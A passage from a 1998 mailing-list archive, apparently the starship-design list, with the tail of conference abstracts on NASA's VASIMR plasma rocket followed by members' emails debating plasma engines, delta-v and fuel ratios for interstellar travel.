Texas at Austin)), E. A. Bering, T. Jack, A. = Rabeau=20 ((University of Houston)) The Advanced Space Propulsion = Laboratory=20 (ASPL) is developing a Variable Specific Impulse Magnetoplasma Rocket = (VASIMR)=20 using an RF heated magnetic mirror operated asymmetrically. We will = describe the=20 initial set of plasma diagnostics and data acquisition system being = developed=20 and installed on the VASIMR experiment. A U.T. Austin team is installing = two=20 fast reciprocating probes: a quadruple Langmuir and a Mach probe. These = measure=20 electron density and temperature profiles, electrostatic plasma = fluctuations,=20 and plasma flow profiles. The University of Houston is developing an = array of 20=20 highly directional Retarding Potential Analyzers (RPA) for measuring ion = energy=20 distribution function profiles in the rocket plume, giving a measurement = of=20 total thrust. We have also developed a CAMAC based data acquisition = system using=20 LabView running on a Power Macintosh communicating through a 2 MB/s = serial=20 highway. We will present data from initial plasma operations and discuss = future=20 diagnostic development. [pThpM2.03]<= /A> An=20 Injector for the Variable Specific Impulse Magnetoplasma = RocketT. W. Glover ((Rice University)), = F. R.=20 Chang-Diaz, J. P. Squire ((ASPL/JSC/NASA)), A. A. Chan ((Rice = University))=20 We present a summary of progress = on the=20 development of a plasma injector for NASA's VASIMR (Variable Specific = Impulse=20 Magnetoplasma Rocket) engine. The plasma rocket constrains a flowing = plasma in=20 an asymmetric magnetic bottle and exhausts it through a magnetic nozzle = to=20 produce thrust. The injector is a plasma source located on the axis of = symmetry,=20 forward of the series of coils forming the constraining magnetic field. = The=20 injector is intended to produce a well-collimated jet of highly ionized = plasma=20 which will enter the central cell of the machine through its forward = mirror. The=20 prototype design is based on that of a Lorentz Force Accelerator = developed as a=20 thruster by the electric propulsion research group at Princeton. Our=20 investigation focuses on the effects of the rocket's magnetic field on = the=20 operation of the injector, the effect of a local magnetic field on the = discharge=20 behavior, and the effectiveness of discharge initiation by glow = discharge versus=20 initiation by ECRH. We evaluate the performance of this prototype = injector by=20 comparing the characteristics of the plasma it inserts into the central = cell of=20 the engine with the characteristics called for in the design of the = plasma=20 rocket. [pThpM2.04]<= /A> ICRF=20 Development for the Variable Specific Impulse Magnetoplasma=20 RocketP. M. Ryan = ((Oak Ridge=20 National Laboratory)), F. W. Baity, G. C. Barber, M. D. Carter, D. J. = Hoffman,=20 E. F. Jaeger, D. J. Taylor ((ORNL)), F. R. Chang-Diaz, J. P. Squire=20 ((ASPL/NASA/JSC)), G. McCaskill ((Lockheed Martin Corporation)) = The feasibility of using = magnetically=20 vectored and rf-heated plasmas for space propulsion (F. R. Chang-Diaz, = et=20 al.\\rm, Bull. Am. Phys. Soc., 41, 1541 (1996)) is being investigated=20 experimentally on an asymmetric magnetic mirror device at the Advanced = Space=20 Propulsion Laboratory (ASPL), Johnson Space Center, NASA. Analysis of = the=20 antenna interaction with and the wave propagation through the dense = plasma=20 propulsion system is being studied at ORNL(Oak Ridge National = Laboratory,=20 managed by Lockheed Martin Energy Research Corp. for the U.S. Department = of=20 Energy under contract number DE-AC05-96OR22464.), using antenna design = codes=20 developed for ICH systems and mirror codes developed for the EBT = experiment at=20 ORNL. The present modeling effort is directed toward the ASPL = experimental=20 device. Antenna optimization and performance, as well as the design=20 considerations for space-qualified rf components and systems (minimizing = weight=20 while maximizing reliability) will be presented. [pThpM2.05]<= /A>=20 Single Particle Dynamics in a Variable Specific Impulse Magnetoplasma=20 RocketA. Ilin = ((Lockheed=20 Martin Space Mission Systems amp; Services)), F. R. Chang-Diaz, J. P. = Squire=20 ((ASPL/JSC/NASA)) The behavior of single charged = particles in a=20 Variable Specific Impulse Magnetoplasma Rocket (VASIMR) is examined. Of=20 particular importance is the effect of a magnetic nozzle in enhancing = the axial=20 momentum of the exhaust. Also, different geometries and rocket = asymmetries are=20 considered. The magnetic configuration is modeled with an adaptable mesh = which=20 increases accuracy without compromising the speed of the simulation. The = single=20 particle trajectories are integrated with a finite difference approach = which can=20 quickly solve for systems of thousands of particles in a reasonable time = (1-2=20 hours) and without the need for a powerful supercomputer. The magnetic = model is=20 also used to examine the possibility for magnetic shielding of human = spacecraft,=20 equipped with VASIMR propulsion systems, against some forms of solar = radiation.=20 ------=_NextPart_000_0012_01BDD3FE.BABC52E0-- >From VM Mon Aug 31 09:55:10 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""218"" ""Sun"" ""30"" ""August"" ""1998"" ""11:18:09"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""7"" ""starship-design: Plasma Engine"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 218 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id JAA29334 for starship-design-outgoing; Sun, 30 Aug 1998 09:20:40 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id JAA29329 for ; Sun, 30 Aug 1998 09:20:38 -0700 (PDT) Received: from lparker (p266.gnt.com [204.49.91.26]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id LAA15087 for ; Sun, 30 Aug 1998 11:20:33 -0500 Message-ID: <001f01bdd431$c7a04f60$365b31cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship Design"" Subject: starship-design: Plasma Engine Date: Sun, 30 Aug 1998 11:18:09 -0500 Correction, AIMSTAR is claiming delta v in excess of 900 km/sec, making it almost four times better than the nearest plasma engine. For interstellar use, we would need to boost this to at least 90,000 km/sec.... Lee >From VM Mon Aug 31 09:55:10 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1856"" ""Sun"" ""30"" ""August"" ""1998"" ""12:36:04"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""68"" ""Re: starship-design: Plasma Engine"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1856 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id JAA03562 for starship-design-outgoing; Sun, 30 Aug 1998 09:37:24 -0700 (PDT) Received: from imo13.mx.aol.com (imo13.mx.aol.com [198.81.17.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id JAA03551 for ; Sun, 30 Aug 1998 09:37:21 -0700 (PDT) Received: from KellySt@aol.com by imo13.mx.aol.com (IMOv16.3) id VMVKa22684; Sun, 30 Aug 1998 12:36:04 -0400 (EDT) Message-ID: <96768fdf.35e97f74@aol.com>> Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: lparker@cacaphony.net, starship-design@lists.uoregon.edu Subject: Re: starship-design: Plasma Engine Date: Sun, 30 Aug 1998 12:36:04 EDT In a message dated 8/29/98 3:57:35 PM, lparker@cacaphony.net wrote: >Does anyone know anything else about this? > > > > > >""The most amazing thing I saw this week was the rocket engine of the future. > >It's been the life's work of astronaut Franklin Chang-Diaz. He started > >working on the plasma engine in college, and now, at age 48, he's got a > >demonstration version of the engine in his lab in Houston. The scale model > >is about 30 feet long. > >I'm not a plasma physicist, but Chang-Diaz is, and he explains the engine > >this way: You put a small amount of hydrogen into one end of the engine. > >It's turned into plasma, a burning gas as hot as the surface of the sun. > >Radio waves from an on-board transmitter are used to create the plasma and > >then a series of electromagnets that circle the central chamber keep the > >plasma from touching the metal sides of the engine. The super-hot plasma is > >then moved down to the exhaust nozzle, where is pushes the engine away. > > > >Unlike engines that use solid or liquid fuel, the plasma engine is much more > >efficient. Chang-Diaz says it gets more miles per gallon than you can > >imagine. In addition, it's much faster than anything in use today. It can > >travel from the Earth to Mars in 90 days. That's twice as fast as current > >technology allows. > > > >Chang-Diaz is working with a group of college students to develop the engine > >and one of them, Lenny Cassady, has worked out a flight plan. He believes it > >will be ready to launch on May 16, 2018. That's about the time Lenny says > >he'd be ready to fly the plasma-powered spaceship to Mars."" > > > > > > > >Lee In general, its like a very big ion drive. Very effectiv,but dependant on an external power source. So while it may be much more ""fuel efficent"" on reactino mass, it may not be in power plant fuel. Kelly >From VM Mon Aug 31 09:55:10 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""954"" ""Sun"" ""30"" ""August"" ""1998"" ""12:12:22"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""31"" ""RE: starship-design: Plasma Engine"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 954 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id KAA11122 for starship-design-outgoing; Sun, 30 Aug 1998 10:14:59 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id KAA11111 for ; Sun, 30 Aug 1998 10:14:56 -0700 (PDT) Received: from lparker (p266.gnt.com [204.49.91.26]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id MAA19138; Sun, 30 Aug 1998 12:14:52 -0500 Message-ID: <002001bdd439$5acdc0e0$365b31cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: <96768fdf.35e97f74@aol.com>> Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: Cc: ""Starship Design"" Subject: RE: starship-design: Plasma Engine Date: Sun, 30 Aug 1998 12:12:22 -0500 Kelly, I don't recall seeing any power requirements mentioned anywhere, but a Lithium Lorentz Force drive requires as a minimum a 30 kW power source. Only Russian built space reactors currently supply this much, although there is a 40 kW design being tested by NASA. There is mention of heating the plasma to power levels of up to 200 kW in pulses of several seconds, but no mention of how much power that would require. I saw mention of a new, more powerful klystron being tested, but don't remember the specifics. Lee -----Original Message----- From: KellySt@aol.com [mailto:KellySt@aol.com] Sent: Sunday, August 30, 1998 11:36 AM To: lparker@cacaphony.net; starship-design@lists.uoregon.edu Subject: Re: starship-design: Plasma Engine In general, its like a very big ion drive. Very effectiv,but dependant on an external power source. So while it may be much more ""fuel efficent"" on reactino mass, it may not be in power plant fuel. Kelly >From VM Mon Aug 31 09:55:10 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2058"" ""Sun"" ""30"" ""August"" ""1998"" ""16:05:01"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""51"" ""RE: starship-design: Plasma Engine (VASIMR)"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 2058 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id OAA28604 for starship-design-outgoing; Sun, 30 Aug 1998 14:07:58 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id OAA28578 for ; Sun, 30 Aug 1998 14:07:55 -0700 (PDT) Received: from lparker (p286.gnt.com [204.49.91.46]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id QAA05229; Sun, 30 Aug 1998 16:07:48 -0500 Message-ID: <002101bdd459$db0297c0$365b31cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: <35E99981.A59A0E4A@urly-bird.com> Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Kevin Houston"" Cc: ""Starship Design"" Subject: RE: starship-design: Plasma Engine (VASIMR) Date: Sun, 30 Aug 1998 16:05:01 -0500 Kevin, > Okay, I vote we accept VASIMR as our interplanetary vehicle engine of > choice. The design seems advanced enough to suggest that we will have > off-the-shelf versions by 2050. And it is powerful enough to get us > around a star system. If the above delta V numbers are accurate, then > there is enough thrust to send 20000 Kg (including engine weight and > fuel, of course) at 10 m/s^2 as long as the Reaction Mass holds out. The stated delta v's assume particular payload and mass ratios which include the fuel. Simply adding engines does not give an equivalent increase in delta v. Typical payload ratio are 0.2 which means each engine (with no increase in payload) would only add 40 km/sec. > > I wonder if a cluster of such engines would work as an interstellar > drive? As I've noted before, constant 1G acceleration/deacceleration > applied over the course of the entire trip would build up a huge time > dilation effect as even a relatively short range trip to tau ceti (12 > LY) would get up to .9925 C No, see above. > > As i am writing this , another message from Lee says. > > > Correction, AIMSTAR is claiming delta v in excess of 900 km/sec, making it > > almost four times better than the nearest plasma engine. > > > > Allows 90000 Kg masss to be driven at 10 m/s^2 > > > For interstellar use, we would need to boost this to at least 90,000 > > km/sec.... > > > So would a cluster of 100 AIMSTAR drives give us the thrust we would > need? Or have I misunderstood the math? No, they won't. Too bad. Power isn't really the problem. It is a combination of power (as thrust) and ISP. Current engines with sufficiently high ISPs don't have sufficient thrust and vice versa. You sort of put your finger on it with the constant 1 g acceleration thing. It isn't really necessary to accelerate at 1 g for the whole trip - just until we have achieved a sufficiently high cruising velocity to get there in a reasonable time period. To me that means 0.9 c or better, other people on the group will settle for as little as 0.3 c. Lee >From VM Mon Aug 31 16:49:49 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1136"" ""Mon"" ""31"" ""August"" ""1998"" ""19:29:50"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""41"" ""Re: starship-design: Plasma Engine (VASIMR)"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1136 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id QAA19517 for starship-design-outgoing; Mon, 31 Aug 1998 16:30:31 -0700 (PDT) Received: from imo22.mx.aol.com (imo22.mx.aol.com [198.81.17.66]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id QAA19507 for ; Mon, 31 Aug 1998 16:30:28 -0700 (PDT) Received: from KellySt@aol.com by imo22.mx.aol.com (IMOv16.1) id 2PQPa12057 for ; Mon, 31 Aug 1998 19:29:50 -0400 (EDT) Message-ID: <65c59241.35eb31ee@aol.com> Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Plasma Engine (VASIMR) Date: Mon, 31 Aug 1998 19:29:50 EDT In a message dated 8/30/98 10:20:04 AM, lparker@cacaphony.net wrote: >I found more information on the plasma engine mentioned on CNN. > > > >I knew about VASIMR before, but had not made the connection with Franklin > >Chang-Diaz. These abstracts may help give a better understanding of his > >plasma engine. I pointed out to the group once before that much of the > >research going into VASIMR can also be applied to other concepts such as > >ACMF that are not as far along. > > > >This device is apparently is in test stand stage (it could be flyable in a > >few years) while ACMF is in test bed stage. There are also several other > >approaches such as Dense Plasma Focus, Star Thrust, Inertial Electrostatic > >Confinement, and the Synchrotron Radiation Drive currently in various stages > >of testing. > > > >Both VASIMR and ACMF/AIMSTAR offer delta v in the +200km/sec range making > >them suitable for relatively rapid interplanetary travel. These sound good, but how do they expect to generate the power to run these engines? Great spec impulse isn't much help if you need to carry along a huge reactor or something. Kelly >From VM Mon Aug 31 16:49:49 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""475"" ""Mon"" ""31"" ""August"" ""1998"" ""19:29:48"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""22"" ""Re: starship-design: Plasma Engine"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 475 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id QAA19617 for starship-design-outgoing; Mon, 31 Aug 1998 16:30:45 -0700 (PDT) Received: from imo29.mx.aol.com (imo29.mx.aol.com [198.81.17.73]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id QAA19604 for ; Mon, 31 Aug 1998 16:30:42 -0700 (PDT) Received: from KellySt@aol.com by imo29.mx.aol.com (IMOv16.1) id 2XYFa24646 for ; Mon, 31 Aug 1998 19:29:48 -0400 (EDT) Message-ID: <83ef382e.35eb31ec@aol.com> Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Plasma Engine Date: Mon, 31 Aug 1998 19:29:48 EDT In a message dated 8/30/98 11:25:13 AM, lparker@cacaphony.net wrote: >Correction, AIMSTAR is claiming delta v in excess of 900 km/sec, making it > >almost four times better than the nearest plasma engine. > > > >For interstellar use, we would need to boost this to at least 90,000 > >km/sec.... > > > >Lee The fusion systems I used for the Explorer and Fuel/sail designs had spec imp of over a million. Even with that the fuel ratios for the ships were stagering. Kelly >From VM Mon Aug 31 17:50:45 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1898"" ""Mon"" ""31"" ""August"" ""1998"" ""17:15:09"" ""-0700"" ""Steve VanDevender"" ""stevev@efn.org"" nil ""41"" ""Re: starship-design: Plasma Engine"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1898 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id RAA05995 for starship-design-outgoing; Mon, 31 Aug 1998 17:15:46 -0700 (PDT) Received: from hexadecimal.uoregon.edu (hexadecimal.uoregon.edu [128.223.32.56]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id RAA05983 for ; Mon, 31 Aug 1998 17:15:44 -0700 (PDT) Received: from tzadkiel.efn.org (tzadkiel.efn.org [204.214.99.68]) by hexadecimal.uoregon.edu (8.8.8/8.8.8) with ESMTP id RAA08095 for ; Mon, 31 Aug 1998 17:14:59 -0700 (PDT) Received: (from stevev@localhost) by tzadkiel.efn.org (8.8.8/8.8.8) id RAA07726; Mon, 31 Aug 1998 17:15:15 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <13803.15501.752893.485720@tzadkiel.efn.org> In-Reply-To: <83ef382e.35eb31ec@aol.com> References: <83ef382e.35eb31ec@aol.com> X-Mailer: VM 6.61 under 20.4 ""Emerald"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Plasma Engine Date: Mon, 31 Aug 1998 17:15:09 -0700 (PDT) KellySt@aol.com writes: > In a message dated 8/30/98 11:25:13 AM, lparker@cacaphony.net wrote: > >Correction, AIMSTAR is claiming delta v in excess of 900 km/sec, making it > >almost four times better than the nearest plasma engine. > > > >For interstellar use, we would need to boost this to at least 90,000 > >km/sec.... > > > >Lee > > The fusion systems I used for the Explorer and Fuel/sail designs had spec imp > of over a million. Even with that the fuel ratios for the ships were > stagering. > > Kelly The analysis I did a long time ago, which was in terms of mass-energy conversion and fuel-to-payload ratios, implied that fusion had pretty a exorbitant fuel-to-payload ratio for getting to high relativistic speeds (0.8 - 0.9 c), on the order of 10^6:1 or worse. To get a fuel-to-payload ratio of less than 10:1 we pretty much have to have an antimatter photon rocket. Timothy did indicate that you can get pretty good thrust with using lots of low-velocity reaction mass, but unfortunately if you make the reasonable definition that ""fuel"" is really ""energy source plus reaction mass"", this implies an even worse fuel-to-payload ratio, especially if you're trying to go for long continuous acceleration. Sure, you can get theoretically good results if you make a reaction that pushes a lot of mass at a low speed in one direction and a little mass to very high speed in the other, but that only works if the reaction is essentially instantaneous. The ultimate result is that even for really fast interplanetary transportation you don't need to have any major amount of mass-energy conversion, but for relativistic interstellar travel you do; you have to convert a mass larger than the payload to energy to get a payload to speeds of 0.8c or higher, and this requires either an incredible amount of low-efficiency fuel or even a pretty amazing amount of antimatter. >From VM Tue Sep 1 07:13:20 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""386"" ""Mon"" ""31"" ""August"" ""1998"" ""20:34:33"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""12"" ""RE: starship-design: Plasma Engine"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 386 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id SAA26929 for starship-design-outgoing; Mon, 31 Aug 1998 18:39:05 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id SAA26921 for ; Mon, 31 Aug 1998 18:39:02 -0700 (PDT) Received: from lparker (p236.gnt.com [204.49.89.236]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id UAA22644; Mon, 31 Aug 1998 20:38:46 -0500 Message-ID: <002401bdd548$ac27e820$365b31cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: <83ef382e.35eb31ec@aol.com> Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: Cc: ""Starship Design"" Subject: RE: starship-design: Plasma Engine Date: Mon, 31 Aug 1998 20:34:33 -0500 Kelly, > The fusion systems I used for the Explorer and Fuel/sail designs had spec imp > of over a million. Even with that the fuel ratios for the ships were > stagering. Hmmm, now that I think of it, I think I made a serious mistake on that payload ratio of 0.2, that should have been 0.2 percent, which means increasing the number of engines is even less helpful than I said. Lee >From VM Tue Sep 1 07:13:20 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1875"" ""Mon"" ""31"" ""August"" ""1998"" ""20:34:29"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""38"" ""RE: starship-design: Plasma Engine"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1875 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id SAA26973 for starship-design-outgoing; Mon, 31 Aug 1998 18:39:27 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id SAA26958 for ; Mon, 31 Aug 1998 18:39:24 -0700 (PDT) Received: from lparker (p236.gnt.com [204.49.89.236]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id UAA22637; Mon, 31 Aug 1998 20:38:43 -0500 Message-ID: <002301bdd548$a9c40780$365b31cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: <13803.15501.752893.485720@tzadkiel.efn.org> Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Steve VanDevender"" Cc: ""Starship Design"" Subject: RE: starship-design: Plasma Engine Date: Mon, 31 Aug 1998 20:34:29 -0500 Steve, > The analysis I did a long time ago, which was in terms of > mass-energy conversion and fuel-to-payload ratios, implied that > fusion had pretty a exorbitant fuel-to-payload ratio for getting > to high relativistic speeds (0.8 - 0.9 c), on the order of 10^6:1 > or worse. To get a fuel-to-payload ratio of less than 10:1 we > pretty much have to have an antimatter photon rocket. > > Timothy did indicate that you can get pretty good thrust with > using lots of low-velocity reaction mass, but unfortunately if > you make the reasonable definition that ""fuel"" is really ""energy > source plus reaction mass"", this implies an even worse > fuel-to-payload ratio, especially if you're trying to go for long > continuous acceleration. Sure, you can get theoretically good > results if you make a reaction that pushes a lot of mass at a low > speed in one direction and a little mass to very high speed in > the other, but that only works if the reaction is essentially > instantaneous. > > The ultimate result is that even for really fast interplanetary > transportation you don't need to have any major amount of > mass-energy conversion, but for relativistic interstellar travel > you do; you have to convert a mass larger than the payload to > energy to get a payload to speeds of 0.8c or higher, and this > requires either an incredible amount of low-efficiency fuel or > even a pretty amazing amount of antimatter. All true. To put it simplistically, an interstellar drive needs to expel LOTS of reaction mass at HIGH velocity. Nothing we currently have can do both at the same time. These newer plasma engine concepts come close and the various concepts for ""hybrid"" antimatter catalyzed fusion may do even better, but they all are still far short of what is really needed for a true interstellar drive. Being a science fiction author is SO much easier... Lee >From VM Tue Sep 1 07:13:20 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""299"" ""Mon"" ""31"" ""August"" ""1998"" ""20:34:26"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""12"" ""RE: starship-design: Plasma Engine (VASIMR)"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 299 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id SAA26851 for starship-design-outgoing; Mon, 31 Aug 1998 18:38:48 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id SAA26842 for ; Mon, 31 Aug 1998 18:38:45 -0700 (PDT) Received: from lparker (p236.gnt.com [204.49.89.236]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id UAA22630; Mon, 31 Aug 1998 20:38:39 -0500 Message-ID: <002201bdd548$a85bec00$365b31cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: <65c59241.35eb31ee@aol.com> Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: Cc: ""Starship Design"" Subject: RE: starship-design: Plasma Engine (VASIMR) Date: Mon, 31 Aug 1998 20:34:26 -0500 Kelly, > These sound good, but how do they expect to generate the power to run these > engines? Great spec impulse isn't much help if you need to carry along a > > > huge > reactor or something. Well, I'll admit that 40kW is a lot of power, but it is possible, even with current technology. Lee >From VM Tue Sep 1 07:13:21 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""753"" ""Tue"" ""1"" ""September"" ""1998"" ""00:12:29"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""25"" ""Re: RE: starship-design: Plasma Engine"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 753 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id VAA25842 for starship-design-outgoing; Mon, 31 Aug 1998 21:13:12 -0700 (PDT) Received: from imo28.mx.aol.com (imo28.mx.aol.com [198.81.17.72]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id VAA25825 for ; Mon, 31 Aug 1998 21:13:10 -0700 (PDT) Received: from KellySt@aol.com by imo28.mx.aol.com (IMOv16.1) id 2OOFa24183 for ; Tue, 1 Sep 1998 00:12:29 -0400 (EDT) Message-ID: Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu Cc: starship-design@lists.uoregon.edu Subject: Re: RE: starship-design: Plasma Engine Date: Tue, 1 Sep 1998 00:12:29 EDT In a message dated 8/30/98 12:14:56 PM, lparker@cacaphony.net wrote: >Kelly, > > > >I don't recall seeing any power requirements mentioned anywhere, but a >Lithium Lorentz Force drive requires as a minimum a 30 kW power source. Only >Russian built space reactors currently supply this much, although there is a >40 kW design being tested by NASA. > >There is mention of heating the plasma to power levels of up to 200 kW in >pulses of several seconds, but no mention of how much power that would >require. > >I saw mention of a new, more powerful klystron being tested, but don't >remember the specifics. > >Lee Yeah, the big factor is fuel consumption vrs thrust thing. You want to get up to speed, you'll need to bring a monster fuel tank. Kelly >From VM Tue Sep 1 17:10:25 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1147"" ""Tue"" ""1"" ""September"" ""1998"" ""19:49:56"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""34"" ""Re: Re: starship-design: Plasma Engine"" ""^From:"" nil nil 